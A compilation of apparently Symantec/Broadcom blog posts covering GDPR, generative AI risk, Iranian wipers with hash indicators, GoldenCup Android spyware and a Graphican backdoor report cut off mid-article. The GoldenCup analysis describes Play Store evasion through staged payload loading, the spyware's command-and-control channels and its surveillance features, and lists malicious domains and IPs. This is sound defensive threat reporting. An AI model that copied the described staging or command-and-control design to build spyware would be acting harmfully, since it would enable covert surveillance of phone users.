But how does an EU regulator fine a US company under an EU law that has no US counterpart? Like this.
For US companies with a physical EU presence, it’s pretty clear that EU authorities can directly enforce GDPR, just as they have with other laws. You’ve probably heard about several high-profile cases in recent years, such as last year’s record $2.7 billion antitrust fine levied against Google.
Other US companies actively conducting business in the EU may be required to designate a local ‘representative,’ thus making it easier for a member state to enforce data protection laws.
Jurisprudence: EU courts, too, can rule against US companies. Again, there are many examples of this.
International law: EU regulators can issue fines according to international law. Combined with cooperation agreements between US and EU law enforcement agencies, it seems likely EU regulators can not only fine US companies for GDPR violations, they can enlist US authorities as their enforcers.
Forewarned is forearmed: If you’re among the 80 percent of affected companies headed for noncompliance, it’s in your best interests to audit your data protection policies as the first step in becoming GDPR-compliant.
And remember that the heart of GDPR is simply to protect personal data. Doing so will help ensure your company remains a trusted provider to customers and staff. Who wouldn’t want that?
If you found this information useful, you may enjoy:
General Data Protection Regulation final text
Countdown to GDPR
Symantec Control Compliance Suite and GDPR
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Generative AI and the Transformation of Everything
Insights on innovations in the Broadcom product portfolio
Enterprises are adopting Generative AI applications at a furious rate. They need to protect themselves from potential risks.
Generative AI is an innovation that is transforming everything. How much and in what ways is the subject of much discussion and controversy. But like many new technologies, the anxieties it creates may have more to do with fear for the future rather than how that future will be.
ChatGPT and the emergence of Generative AI
The unease is understandable. Indeed, ten years ago, some experts warned that artificial intelligence would lead to us losing nearly 50% of our present jobs by 2033. But we are now nearly halfway there, and we don’t even have full self-driving, autonomous automobiles.
The reason for this conversation is the seemingly overnight emergence of Generative AI and its most well-known application, Open AI’s ChatGPT. The reality is very similar to the early days of many paradigm-changing technologies. That is where we are today with Generative AI. In just six months, we are already seeing it reach a technology inflection point as enterprises rush to implement widespread use of Generative AI apps.
The implications for enterprise security
For most enterprises, the present moment is an educational process. Enterprises see Generative AI as a way of accelerating their efficiency. But in the rush to adopt, they are putting themselves at risk.
Some of these risks are accidental. They involve copying or putting sensitive corporate data, files, or images into public Generative AI apps. ChatGPT’s pool of knowledge is essentially the whole of the Internet. Information loaded into it becomes data that any other subscriber has access. That data leakage is the principal security concern regarding generative AI of enterprises today.
Another major concern is copyright infringement and intellectual property (IP). Who owns what when the output is something that’s an enterprise’s own IP is combined with another’s in this third party publicly accessible service? Generative AI does not vet for bias, attribution, or copyright protection.
A third major concern is its use as a tool by cyber attackers. It’s important to note here that Generative AI today is a content development engine. ChatGPT can tell you the ways attackers have broken into a particular operating system; it can’t independently develop a new way that’s never been done before. At least, not yet. And probably not for a good five years or more.
So, how do we keep the train rolling with Generative AI while securing the enterprise?
The importance of policy
Protecting the enterprise from potential Generative AI cybersecurity risks doesn’t start with technology. It starts with the business policies of the organization — with education and setting a foundation to understand and recognize the risks that Generative AI entails. The importance of policy extends to the regulatory sphere. Indeed, just recently, several leaders in the AI field called for a pause on aspects of AI development while such an official regulatory environment is developed to put guardrails in place.
The final element is for enterprises to put controls in place that will allow them to enforce and automate policies to help monitor Generative AI use and minimize the risks to the enterprise.
Symantec and Generative AI
Symantec has a long history with AI. Key to our focus is protecting user and enterprise IP. Organizations should feel especially confident when it comes to the threat posed by generative AI systems if they already have a data protection like Symantec Data Loss Prevention Cloud. A solution like this helps enterprises adopt Generative AI tools by ensuring compliant sending of either images or data to generative tools.
We are still in the early days of Generative AI. That’s why we have a large engineering team dedicated to keeping Symantec at the forefront of this technology. Indeed, we are using many of the same sorts of machine learning and even Generative AI tools to help identify malicious behavior as they are used to create it.
When it comes to Generative AI, it's not a question of whether it’s a win for the enterprise or not. Enterprises that don’t embrace it will be at a severe disadvantage. Enterprises need to invest in security to safely take full advantage of the technology that is transforming everything.
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Geopolitical Tensions May Increase Risk of Destructive Attacks
Organizations should exercise heightened vigilance as political tensions in the Middle East may increase risk of attacks by Iranian-sponsored groups.
The recent upsurge in tensions between the U.S. and Iran has led to fears about an increase in both the frequency and aggressiveness of Iranian-sponsored cyber attacks. Iran has an extensive track record in this sphere, with government-backed cyber threat groups conducting numerous offensive cyber operations in recent years, including a number of highly destructive wiper attacks. While an uptick in such attacks is not a certainty, it is a distinct possibility and organizations should exercise extreme vigilance.
The capabilities of Iranian actors have evolved rapidly in recent years, from quick and relatively simple destructive attacks, such as distributed denial‐of‐service (DDoS) attacks or website defacements, to an increased focus on network compromises where the actors maintain a persistent foothold and obfuscate their presence to make attribution difficult. Iranian groups have also increasingly targeted critical infrastructure including energy and telecommunications companies.
Destructive attacks
Attackers associated with Iran have periodically carried out highly destructive disk-wiping attacks against targets in the Middle East. Historically, these attacks tend to coincide with periods of heightened instability in the region.
Most of these destructive attacks have involved the Shamoon disk wiper (W32.Disttrack). Shamoon first emerged in 2012 , when it was used in attacks against the Saudi energy sector. It reappeared again in late 2016, when a slightly modified version (W32.Disttrack.B) was used in another wave of attacks against Saudi Arabia.
A third wave of attacks occurred in December 2018, when Shamoon was once again deployed against a range of targets in the Middle East. Unlike previous Shamoon attacks, these attacks involved a second piece of wiping malware (Trojan.Filerase). This malware deleted and overwrote files on the infected computer. Shamoon itself would meanwhile erase the master boot record (MBR) of the computer, rendering it unusable.
Recent months have also seen the emergence of two new wipers, which appear to be evolutions of the original Shamoon wiper. The first, known as ZeroCleare (Trojan.Zerocleare) appeared in June and July of 2019, while in January 2020, the National Cybersecurity Authority of Saudi Arabia released a report about a wiper malware they called Dustman. Dustman is a further evolution of ZeroCleare, where the authors optimized functionality into a single file instead of the way it worked in the June/July campaigns.
Means of access
While destructive attacks are an obvious source of concern, potential targets should be aware that the evidence available to date suggests that the Shamoon attackers may not have compromised their victims’ networks themselves. In the aftermath of the 2016 Shamoon attacks, Symantec found evidence that the Iran-linked Greenbug and Timberworm espionage groups may have provided access to the victims’ networks. The 2018 attacks had a tentative link to the Iranian Elfin group (aka APT33), with one victim in Saudi Arabia having been compromised by the group shortly before Shamoon struck.
With this in mind, any organization that finds indicators of compromise (IOCs) related to any Iran-linked espionage group on their network should exercise extreme vigilance. While destructive attacks remain a relative rarity, a prior intrusion does appear to be a necessary precursor. Aside from the aforementioned groups, other Iran-linked groups that are highly active at present include Chafer, Crambus (aka OilRig), and Seedworm.
Risk assessment
Given the recent history of attacks, it is evident that Iranian-sponsored groups consider destruction of equipment as an acceptable form of damage to targets. However, to date these incidents have only targeted Middle Eastern entities. Iranian actors have not yet shown an appetite for conducting similar attacks against organizations further afield. Considering the tense geopolitical climate in 2020 and based on previous Iranian activity, we believe cyber attacks originating from Iran or Iranian proxies would be (in order of descending probability):
Wipers being used for destructive attacks against critical infrastructure
Infrastructure for telecommunication providers being attacked to disrupt services
Hacktivist defacements of popular websites
DDoS attacks against financial entities
While Symantec has yet to see any evidence of a notable uptick in activity, this should not be misinterpreted, since planned operations could take some time to prepare and execute.
Organizations associated with the U.S. and its allies are an obvious target. While Iranian actors have, to date, heavily focused on organizations in the Middle East, attacks against the U.S. should not be ruled out, particularly considering the heightened state of tensions at present.
However, organizations based in the Middle East likely remain most at risk, given that Iranian groups know this region best and may already have ongoing compromises. Destructive attacks, such as those involving disk wipers, usually require some prior compromise of the organization’s network. This may mean that any potential destructive attacks could be focused on the Middle East, particularly if the attackers are under time pressure to retaliate.
Indicators of Compromise (IOCs)
Group IOC Description
Shamoon 89850b5f6e06db3965d0fdf8681bc6e55d3b572c97351190c247b9c8b1419850 Disttrack.B Wiper malware
Shamoon bac9503a28ef97ee5d77fc3caedbf4f61e975679212f5da7945e6063c1d8a88f Targeted malware
Shamoon bd2097055380b96c62f39e1160d260122551fa50d1eccdc70390958af56ac003 Disttrack.B Wiper malware
Dustman/ZeroCleare becb74a8a71a324c78625aa589e77631633d0f15af1473dfe34eca06e7ec6b86 Wiper malware (x64)
Dustman/ZeroCleare 2fc39463b6db44873c9c07724ac28b63cdd72f5863a4a7064883e3afdd141f8d Wiper malware (x86)
Dustman/ZeroCleare 36a4e35abf2217887e97041e3e0b17483aa4d2c1aee6feadd48ef448bf1b9e6c ElDos driver (x64)
Seedworm 7b4da8f9ffa435c689923b7245133ee032f99fcd841516f2e2275fb4b76d28f9 Xsxeon
Seedworm 36fc0a750d29ecf1d31ae3c7e834e548fe8eed25db62dfbdbf9148d896c13f59 Powermud.v2
Seedworm 5f2eac7251a9fc74309985b3dc1d9730f86c8cd95b22d16b04c0ad0521f10598 Powermud.v2
Seedworm 7b93b928bb9e41a7b890bc2ad559044fa39351d7f42a0bcb0ee1d2bb5def8e60 Powermud.v2
Seedworm f0c726c75a79e83ab24c6d6e04022974bd79d35ff4c3e0118e7707eedd7edea2 Lazagne
Seedworm 905e3f74e5dcca58cf6bb3afaec888a3d6cb7529b6e4974e417b2c8392929148 Downloader
Seedworm 148839e013fee10ee5007f80de2e169778739e84d1bbb093f69b56060ceef73f Downloader
Seedworm 18cfd4c853b4fb497f681ea393292aec798b65d53874d8018604068c30db5f41 Downloader
Seedworm 1d768c6a5165cadf39ac68e4cc294399f09b48dfefd7bfd6d78e75ad882cd3f1 Downloader
Seedworm 20ec56029ec2dc6a0f86d172f12914d078fc679a8d01257394864413d01d7eda Downloader
Seedworm 2f69f7df7a2ab7b1803bb50b23ac17f7047b4651513bdff98dae5adee492c98f Downloader
Seedworm 32c5d06a518a17daf825374449a5096e1109a1eb99c010bb2524b9b0ed6e3114 Downloader
Seedworm 4a2db2c017b44834bfab8bd7ba107750d77cd1e62db0b4892ab3c053b2d64fae Downloader
Seedworm 64001be2fc9ccec320d48c75d2de8ad7cd74092065cb44fe35b38624d4493df0 Downloader
Seedworm 7f31ab924bddc2f20697157f7cfa6ff25adfbbb50403052cccd05dc0e9faabc4 Downloader
Seedworm 905e3f74e5dcca58cf6bb3afaec888a3d6cb7529b6e4974e417b2c8392929148 Downloader
Chafer 1e94a1ca83123688215b64369a37162448a0f3927e3f0f4f412ee352db6abf5c Exemyr
Chafer fc74c58705f4d2f6241118b729d86e4610045418690d833de6b123d08d1f8a37 Trojan
Chafer d4dcbfbab036132eb6c40c56a44c0d3b4b681b19841b81fc4f8e1d62ea5b211d Alias: Dntxdoor
Chafer caa841e4809efdfb3be1de588d74ccf32a96a8c1bc4108d07ade509551ce77e4 Remexi
Chafer 3ebc9890fa04b1035565d7d273f80032e811ac5e42d3aa1dafe6e33b6572f8cb Remexi
Chafer 2802ad7e910e4ef647b93f11b3f4a5ec465a0abf16c542884442c70555ca8352 Mini_rsocks
Crambus 3996efe9a3cf471a1f816287368fa0f99d2cdb95786530b0b61c7b9024ff717b Alias: Hisoka
Crambus db1f460f624a4c13c3004899c5d0a4c3668ba99bb1e6be7f594e965c637b6917 Alias: Sakabota
Crambus 4c68068c16e320e2dd346adfa64686a3bcd5aef98fdc0f69d5f0e82d254eacf4 Alias: Yakenzi
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Getting Employees Invested in Cyber Security Remains an Uphill Struggle
Companies need to find new ways to ensure that their employees don’t fall victim to cyber complacency
Even as companies add more security measures to their networks and cut down on the number of successful cyber attacks, they’re still searching for better ways to get their employees invested in online safety.
And for good reason.
29% of U.S. executives polled said that that breaches caused by insiders result in more damage than outside hackers, according to the 2017 U.S. State of Cyber Crime report, produced by CSO in conjunction with the U.S. Secret Service and CERT at Carnegie Mellon University.
What’s more, most incidents caused by insiders – at least 47 percent -- are triggered by an “innocent employee who falls for a phishing or hacker scam,” the report found.
“More targeted phishing attacks are happening now than ever before, and they’re more successful because (the phishers) are getting better,” said Aaron Cohen, director of cyber skills development for Symantec.
Although most companies take the time to train employees on the dangers of an improperly clicked link or a precisely targeted piece of spam, this remains the proverbial work in progress.
CEOs are now taking more definitive steps to secure their companies’ data. They’re asking for more frequent updates from their IT and security departments, for both themselves and their boards of directors. In 2017, 20% of boards received monthly reports from their CSOs, up from 16 percent in 2015, according to the cyber crime report. However, 29 percent still receive no reports at all.
In the workplace, they’re adding new measures such as two-factor identification for remote logins, or asking for more audits of third-party vendors or providers who may be vulnerable to attack. Health care-related companies, for example, need to make sure that every vendor they work with understands how to protect patient privacy and follow HIPAA regulations, said Bob Bragdon, senior vice president and publisher of CSO magazine.
More targeted phishing attacks are happening now than ever before, and they’re more successful because (the phishers) are getting better - Aaron Cohen, Symantec
C-level executives are also keenly aware of the dangers. “They are the privileged users with the access to the most privileged information,” making them the juiciest targets for hackers, said Bragdon.
When breaches expose the personal information of customers, the ramifications can reach throughout the organization and lead to resignations or dismissals.
“The C-suite … has gotten more serious in the last year and a half,” Bragdon said.
Making it Personal
Yet at the same time, many rank-and-file employees still remain confused about their roles and responsibilities in a more security-conscious setting, according to Mark Rasch, a Washington, D.C.-based computer security and privacy expert. “You’ve got to give them incentives, not just to not do the wrong thing, but to do the right thing.”
One suggestion: Make it personal - especially for those employees who have not personally suffered through the experience of their personal information getting exposed due to a breach.
“The correlation between their personal lives and their work lives needs to be exploited more by their IT departments or by the people providing that (cyber security) training, making it relevant,” Cohen said. “Make the fact that their credit card gets taken relevant in their work life.”
All the more reason why it’s up to management to find ways to ensure their employees don’t fall victim to complacency. Passing an online training quiz is only part of the drill and companies need to look for other ways to reinforce security consciousness.
One way to drive home the message is to reward employees who report attacks.
For example, companies can consider offering special incentives for employees who comply with cyber security measures – similar to the bounties that IT specialists receive for finding bugs and holes in a company’s network.
But security practioners also say that carrots need to be mixed with sticks.
Workers who can’t – or won’t comply with security protocols risk losing their employment. If those people keep failing security tests and training programs, organizations need to weigh the risks involved in keeping them on staff. Because in the end, incentives or no, training or not, the employee remains the last line of defense against cyber attacks.
“A lot of it falls to the individual or the user to just be more aware of what they’re either clicking on or responding to,” said Cohen.
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Getting to Know Hock Tan: Broadcom’s President and CEO
Building the world’s leading infrastructure technology company
As recently announced, Hock Tan, Broadcom Inc.’s President and CEO, will be also directly overseeing the operations of the Broadcom Software Group. Now that Hock is leading Broadcom Software, we sat down with him to learn more about his career, personal philanthropy and areas of achievement.
Q: Having grown up in Malaysia, tell us a bit about how you got to the U.S. and what it was like to become an American citizen?
I came to the United States in 1971 on a scholarship to study at the Massachusetts Institute of Technology (MIT). I was both fortunate and proud to attend MIT. The American college and post-graduate educational system has always been a magnet for aspiring students around the globe. Like so many world-class U.S. colleges and universities, MIT has opened many doors for me, and made it possible for me to live the American Dream. I graduated from MIT in 1975 with both my bachelor’s and master’s degrees in mechanical engineering, and then worked as a research engineer at Union Carbide Corporation for several years before attending Harvard Business School where I received my MBA in 1979. It was then in 1990 that I became an American Citizen.
Q: How have these defining moments shaped who you are and how you lead?
I have the best job in the world as CEO of Broadcom because I get to work alongside some of the smartest and most creative people on the planet. Success is a team effort, and at Broadcom, we know that our talented workforce is our most valuable asset which is why we continue to take steps to ensure that we will have access to bright and hardworking talent in the future. The Broadcom Foundation, which funds science, technology, engineering and math (STEM) education programs for middle school students inside and outside the U.S., is just one example of how Broadcom is working to encourage the next generation to take an interest in areas of study that will be critical to the continued growth of both our company as well as our country.
Q: What was your career path to becoming Broadcom’s CEO?
My path to becoming CEO of Broadcom was not a straight line. After getting my MBA, I began my career in the auto industry with General Motors, before moving to the food and beverage industry and spending a few years at PepsiCo. From there, I held leadership roles at Hume Industries, in the building materials space, at PacVen Investments, a venture capital firm, as well as at Commodore International, best known for its personal computers.
I made the transition into semiconductors when I joined Integrated Circuit Systems (ICS) in 1994. Five years later, I moved from being CFO into the CEO role after leading a management buyout. It was while working at ICS that I first had the opportunity to collaborate directly with the U.S. Department of Defense, gaining a security clearance as part of the work we did on the radar systems for the Patriot anti-missile program.
We eventually sold ICS to Integrated Device Technology in 2005 and one year later, I was hired by the private equity firms Kohlberg Kravis & Roberts and Silver Lake Partners to become the CEO of Avago Technologies, which was a spin-out of the legacy Hewlett Packard semiconductors team. Avago later acquired Broadcom Corporation in 2016 and rebranded itself into the “Broadcom” that you all know today. I never would have predicted that I’d become CEO of this great company when I began my professional journey and consider myself fortunate to be where I am today.
Q: What personal initiatives and causes are important to you?
As I have had much good fortune in my life, it is really important to me to give back to the community and to others. Autism research is a cause that I’m deeply involved in and affects me personally as the father of two children with autism. My family has made substantial gifts to Harvard, MIT and Cornell to fund programs to improve the work-life of young adults with disabilities as well as to support research in the areas of neurodiversity.
Q: What has your greatest professional achievement been to-date?
I am very proud of the work that we have done at Broadcom in the 15+ years since I joined the company. The introduction of industry-pioneering products, such as optical navigation in PCS to the first Wi-Fi/Bluetooth/FM combo chip for mobile phones has enabled the company to achieve great success and to continue to be at the forefront of leading-edge innovation in technology. I look forward to welcoming the VMware team when the transaction closes to advance our strategy to build the world’s leading infrastructure technology company.
And if you haven’t taken a look, please visit https://Reimaginingsoftware.com, our recently launched website that contains useful materials about the VMware transaction and other relevant information.
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Global Readiness: Role-Based Access Control Enforcement Strategy in Symantec CloudSOC
Abiding Regulatory Requirements
While trying to comply with regulatory requirements, Data Residency and Privacy controls are of immense concern. Enterprises, especially those with a large global presence, are required by Data Localization to adhere to regulatory policies. At Symantec, as a division of Broadcom, we have the solutions to meet those Data Residency and Privacy controls.
Data Residency
Data residency requires that user data from the European Union (EU), stays within EU data centers. Symantec CloudSOC addresses this problem by offering the product in completely isolated Cloud environments. Symantec CloudSOC runs in a multi-tenant architecture inside a region and allows customers to choose to have between 1 and N tenant(s) provisioned in any of these cloud environments and target specific user data to reside in a specific tenant.
While this approach satisfies legal and regulatory needs and is a strategy that some customers use, several tenants per customer could become cumbersome to manage. Minimizing tenants is a key element in efficiently gauging overall Cloud Security posture per region.
Privacy
To address the concern of having too many tenants, a customer could choose to configure Symantec CloudSOC in a way such that EU users data is directed to one tenant in the EU Cloud, and setup another tenant such that the rest of their-world’s data is directed to another tenant in the US cloud, thereby minimizing the number of tenants to manage.
However, that simply may not necessarily address the data privacy concerns in a tenant of a cloud. Local Admins are limited to administering only a subset of the data in their jurisdiction. For example, an admin in the UK should have visibility into activity for users in the UK and likewise for an admin in Germany. However, Global Admins have full visibility from an overall tenant perspective and are not limited to a subset of the data.
So, how can Local Admins see only what they’re entitled to, while providing full visibility to Global Admins? In other words, for certain businesses where Privacy is a concern, provide data-segregation within a tenant.
Logical Tenant Partitioning from a Geographical Perspective through RBAC
Logical partitioning of a single tenant is an approach that Symantec CloudSOC customers have adopted to restrict data visibility within a tenant for their Local Admins. Global Admins create Access Profiles to restrict data visibility per the jurisdiction of the respective Admin. For example, limiting data visibility for a Local Admin in the UK to activity of users in the UK only. This allows the Local Admin to perform all actions but is confined to a certain subset of users.
This presents another challenge - how does the System Admin let Symantec CloudSOC know which region a user or a subset of users belong to? The solution: Active Directory Groups to the rescue. Customers leverage Group memberships that they’ve set up in their Active Directory based on the user’s geographical presence and sync this with CloudSOC. Symantec SpanVA is an on-prem virtual appliance that connects to the local Active Directory and periodically syncs the User and Group membership details with Symantec CloudSOC.
This Active Directory Group can be used to set up an Access Profile to limit data visibility to users within a group and can be tied to a Local Admin thereby enforcing Role-based Access Control (RBAC). In this example, our UK Admin has restricted visibility into data for users in the UK Active Directory Group
A practice adopted by a few global customers is shown in the geographic illustration where user data originating from the EU region is directed to the EU-Cloud in one tenant, and the rest of the world is divided amongst two tenants in the US-Cloud. This way Global Admins can get a comprehensive view of the posture within each of the 3 tenants and Local Admins in the EU-regions are subject to the logical partitioning of data controlled via RBAC. Additionally, CloudSOC SysAdmins control what aspects of the product can be accessed as part of this process.
In summary, Symantec CloudSOC addresses these regulatory requirements by allowing customers to set up and configure their tenants in preferred regions and enforce RBAC to comply with pertinent policies in place.
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GoldenCup: New Cyber Threat Targeting World Cup Fans
As the World Cup launches, so does a new threat
Officials from the Israeli Defense Force recently uncovered an Android Spyware campaign targeting Israeli soldiers and orchestrated by "Hamas." The latest samples attributed to this campaign were discovered by security researchers from ClearSky.
In our research, we focus on the most recent sample, an application dubbed as "Golden Cup", launched just before the start of World Cup 2018.
Distribution / Infection
When this campaign started at the start of 2018, the malware ("GlanceLove", "WinkChat") was distributed by the perpetrators mainly via fake Facebook profiles, attempting to seduce IDF soldiers to socialize on a different platform (their malware). As this approach was not a great success, their last attempt was to quickly create a World Cup app and this time distribute it to Israeli citizens, not just soldiers.
The official “Golden Cup” Facebook page. The short URL redirects to the application page at Google Play.
We assume it was rushed because, unlike GlanceLove, it lacked any real obfuscation. Even the C&C server side was mostly exposed with the file listing available for everyone to traverse through it. It contained approximately 8GB of stolen data.
A recent whois of “goldncup.com”. Creation date is a week before the start of the tournament.
How it Works
In order to get into the Google Play Store, the malware uses a phased approach which is quite a common practice for malware authors these days. The original app looks innocent, with most of its code aimed at implementing the real features that the app claims to provide. In addition, it collects identifiers and some data from the device.
After getting a command from the C&C, the app is able to download a malicious payload in the form of a .dex file that is being dynamically loaded adding the additional malicious capabilities.
In this way, the malware authors can submit their app and add the malicious capabilities only after their app is live on the Play Store.
Communication with the C&C
In order to communicate with its C&C, the app uses the MQTT (Message Queuing Telemetry Transport) protocol, which is transported over TCP port 1883.
Initiating the MQTT client.
Initiating the MQTT client.
The app connects to the MQTT broker with hardcoded username and password and a unique device identifier generated for each device.
The MQTT connection to broker
The MQTT communication is used primarily to update the device state and get commands from the C&C. It uses different topics that include the unique device identifier, which side is sending the message, and whether it is information message or command.
HTTP Communication
In addition to the MQTT communication, the app also uses plain text HTTP communication in order to download the .dex file and upload collected data.
All of the files that are being uploaded or downloaded are zip files encrypted by AES with ECB mode. The key for each file is generated randomly and stored in the encrypted file with a fixed offset.
In order to upload the file, the app uses a basic REST communication with the server, checking if the file exists and uploading it if it isn’t.
The path that is used for the uploads is:
http://<domain>/apps/d/p/op.php
The communication looks like this:
First Phase
The first phase of the app’s attack flow collects device information and a list of apps installed on the device. These are then uploaded to the C&C HTTP server.
The collection of basic device information.
In addition, at this stage the app can process one of these commands:
• Collect device info
• Install app
• Is online?
• Change server domain
Out of these, the most interesting command is the “install app” command that downloads an encrypted zip file containing the second phase dex file, unpacks and loads it.
Second Phase
The second phase dex file contains 3 main services that are being used:
• ConnManager - handles connections to the C&C
• ReceiverManager - waits for incoming calls / app installations
• TaskManager - manages the data collection tasks
The C&C server address is different than the one that is used by the first phase, so the app reconnects to the new server as well as starts the periodic data collector tasks.
By analyzing the TaskManager class we can see the new commands that are supported at this stage:
As can be seen in the code snippet above, there are quite a lot of data collection tasks that are now available:
Collect device info
Track location
Upload contacts information
Upload sent and received SMS messages
Upload images
Upload video files
Send recursive dirlist of the external storage
Upload specific files
Record audio using the microphone
Record calls
Use the camera to capture bursts of snapshots
Those tasks can either run periodically, on event (such as incoming call) or when getting a command from the C&C server.
Mitigations
Stay protected from mobile malware by taking these precautions:
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as SEP Mobile or Norton, to protect your device and data
Keep your operating system up to date
Make frequent backups of important data
Indicators of Compromise (IoCs)
Package names:
anew.football.cup.world.com.worldcup
com.coder.glancelove
com.winkchat
APK SHA2:
166f3a863bb2b66bda9c76dccf9529d5237f6394721f46635b053870eb2fcc5a b45defca452a640b303288131eb64c485f442aae0682a3c56489d24d59439b47 d9601735d674a9e55546fde0bffde235bc5f2546504b31799d874e8c31d5b6e9 2ce54d93510126fca83031f9521e40cd8460ae564d3d927e17bd63fb4cb20edc 67b1a1e7b505ac510322b9d4f4fc1e8a569d6d644582b588faccfeeaa4922cb7 1664cb343ee830fa94725fed143b119f7e2351307ed0ce04724b23469b9002f2
Loaded DEX SHA2:
afaf446a337bf93301b1d72855ccdd76112595f6e4369d977bea6f9721edf37e
Domain/IP:
goldncup[.]com
glancelove[.]com
autoandroidup[.]website
mobilestoreupdate[.]website
updatemobapp[.]website
107[.]175[.]144[.]26
192[.]64[.]114[.]147
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Good, Bad or Neutral, AI is Heading Our Way
Artificial Intelligence’s spread means inanimate machines and devices will soon be engaging with humans in ways that conjure up descriptions straight out of science fiction novels
As in years past, artificial intelligence and its role in the era of big data and digitization again commanded conversation at the RSA Conference. The question now is whether it’s shaping up to be a boon or a bane.
In the exhibition hall located inside San Francisco’s Moscone Center, AI was an omnipresent reference point with companies showcasing their products to thousands of curious attendees passing through for a look. Elsewhere, you could find any number of panel discussions devoted to AI’s proliferation and its likely impact on security.
So, when Symantec’s Chief Technology Officer Hugh Thompson closed out the conference on Friday afternoon, AI’s potential to help or to harm was the headliner.
“Our responsibility as security professionals is to truly understand how these new approaches can fail,” Thompson told the audience. “We want to be on the preemptive side of that and to understand how they can fail - but also to be the biggest advocates of driving them forward.”
Panelist Sebastian Thrun, the founder and President of Udacity, echoed that sentiment, joining Thompson in a wide-ranging conversation about AI. Despite the obvious hurdles ahead, he said that AI’s societal impact left him “incredibly excited” about the future.
Up until the invention of the steam engine, Thrun said, an average person’s productivity was usually tied to their strength and agility. But the introduction of this new powerful technology served as a force amplifier that ultimately revolutionized work. AI will have a similarly transformative impact, he predicted, one that will free humanity from needing to perform mundane, repetitive tasks any longer.
“When the first machines were invented, they turned us into super-humans,” he said. “The big thing now is to outsource our brain and get rid of the work that we don’t want to do.”
“I ask myself what are people good at and what are they bad at,” Thrun responded. As technology frees up humans, he said it will unleash more creativity. “I believe every human being is creative,” he said. “I think of it turning us people into unbelievable super humans.”
Robot Rights?
Before then, however, people will need to get used to the concept of engaging with inanimate machines and devices in ways that conjure up descriptions straight out of science fiction novels.
“We’re entering an era of human-robot interaction,” said Kate Darling, a researcher at the MIT Media Labs. “These technologies are creeping into people’s lives in ways they didn’t previously.”
Interesting scenarios may ensue involving relationships in which we assign human attributes to robots or smart applications informed by artificial intelligence. She said society is already primed by pop culture and sci-fi to want to assign agency and intent to devices – something she noted has since occurred with early commercial robots, such as the Roomba robot vacuum cleaner.
“People already have attachments to their Roomba,” Darling said. “They love the Roomba and feel bad when it gets stuck. As we get better and better design, the empathy we have for these machines will just get [deeper] as the design improves.”
Thompson suggested that society may quickly reach a point where it needs to decide whether ethical or legal considerations should extend to machines in much the same way they now protect humans in civil society.
That may not be so far-fetched. Darling described an MIT workshop where researchers supplied five tiny dinosaur robots and asked the participants to torture and even “kill” the units.
“It was very upsetting to people,” she recalled. “So, I wonder when we interact with these systems, there might be right and wrong ways to treat machines - even though they don’t feel anything.”
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Got Breached? The Clock Just Started Ticking
It’s urgent to determine the extent of the intrusion and fix it fast. Here’s one case where time really is money
Getting hit by malicious hackers and suffering a data breach is bad. Reacting so slowly that the fallout increases exponentially is even worse.
At first blush, this might seem to fall under the heading of conventional wisdom. Yet too many organizations still assume they can respond promptly to breaches when, in fact, they are operating with a false sense of security.
In fact, a recent survey of security professionals by the Ponemon Institute found that less than half of the respondents believed their company’s ability to respond to data breaches is either very effective or effective. But nearly two-thirds say their data breach response plans have never been reviewed since first being put in place, or that there was no set amount of time established for reviewing them.
That’s trouble just waiting to happen – especially when the victim organizations aren’t large enough to weather the storm. Some are able to put their breaches in the rear view mirror but not many smaller companies would be able to recover from a major blow to its finances or reputation – or both – in the aftermath of that kind of attack.
Response Time Critical
So what can you do to quickly find out the extent of a data breach and ameliorate it quickly? Dr. Larry Ponemon, founder of the Ponemon Institute, says it all begins with having the right security tools in place. Without them, he warns, it can take enterprises months or ever years before they discover breaches — if they find out about them at all.
“You need cyber intelligence tools that check logs and data and then develop models, preferably using some form of artificial intelligence or machine learning, to automatically detect potential breaches and warn you right away about them,” he says.
Especially important, he says, is that the tools have the ability to prioritize which potential breaches to investigate further, and which don’t need to be studied because they’re likely not problematic.
“You can’t always investigate everything,” he says, “so your system needs to tell you which anomalies really need to be followed up on, and which you can ignore. That way, you can focus right away on the ones which will really have an impact.”
Prioritizing potential threats in this way will ensure that real dangers are handled quickly, rather than being put on the back burner. And he emphasizes that when it comes to responding to breaches, time is of the essence.
“Our research through the years has found that if companies tell the public about a breach within 30 days after it occurs, people will forgive them for it. But once it goes past that 30-day threshold, there’s a serious reputational risk.”
It all begins with having the right security tools in place.
An important part of meeting that deadline, he says, is establishing a multidisciplinary investigatory committee that springs into action whenever a breach is discovered. It should include not just experts in security and IT, but lawyers who can deal with compliance, privacy and reporting issues, public relations and marketing experts who will handle customer trust and reputational issues, and top executives who best understand the breach’s impact on the company as a whole.
It’s important that top company executives get what they want in terms of information so that they can make informed decisions. Because if you don't include that sort of thing in your planning it's going to come back to bite you.
Ponemon adds one final piece of advice: Be prepared.
“I know it sounds corny,” he said, “but you need to have a process in place for dealing with a data breach even before it happens to you.”
His back-of-the-envelope advice includes these pointers:
Take a team approach and make sure that you have people ready to roll.
If you have a written plan, test it. You can also run a simulation or a desktop exercise of some kind.
Make sure that rank and file employees, not just computer specialist or security architects, are well-trained in how to respond. They need to know what they should do if they suspect a data breach.
“That way, you have hundreds or thousands of people on the lookout, and you’ll be much more likely to discover a breach and respond to it quickly,” he said.
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Graphican: Flea Uses New Backdoor in Attacks Targeting Foreign Ministries
Backdoor leverages Microsoft Graph API for C&C communication.
The Flea (aka APT15, Nickel) advanced persistent threat (APT) group continued to focus on foreign ministries in a recent attack campaign that ran from late 2022 into early 2023 in which it leveraged a new backdoor called Backdoor.Graphican.
This campaign was primarily focused on foreign affairs ministries in the Americas, although the group also targeted a government finance department in a country in the Americas and a corporation that sells products in Central and South America. There was also one victim based in a European country, which was something of an outlier. This victim had also previously suffered a seemingly unrelated ransomware attack in July 2022. However, the primary focus of the campaign observed by the Threat Hunter Team at Symantec, part of Broadcom, does appear to be on ministries of foreign affairs in the Americas.
Flea has a track record of honing in on government targets, diplomatic missions, and embassies, likely for intelligence-gathering purposes.
Tools
Flea used a large number of tools in this campaign. As well as the new Graphican backdoor, the attackers leveraged a variety of living-off-the-land tools, as well as tools that have been previously linked to Flea. We will detail these tools in this section.
Backdoor.Graphican
Graphican is an evolution of the known Flea backdoor Ketrican, which itself was based on a previous malware — BS2005 — also used by Flea. Graphican has the same basic functionality as Ketrican, with the difference between them being Graphican’s use of the Microsoft Graph API and OneDrive to obtain its command-and-control (C&C) infrastructure.
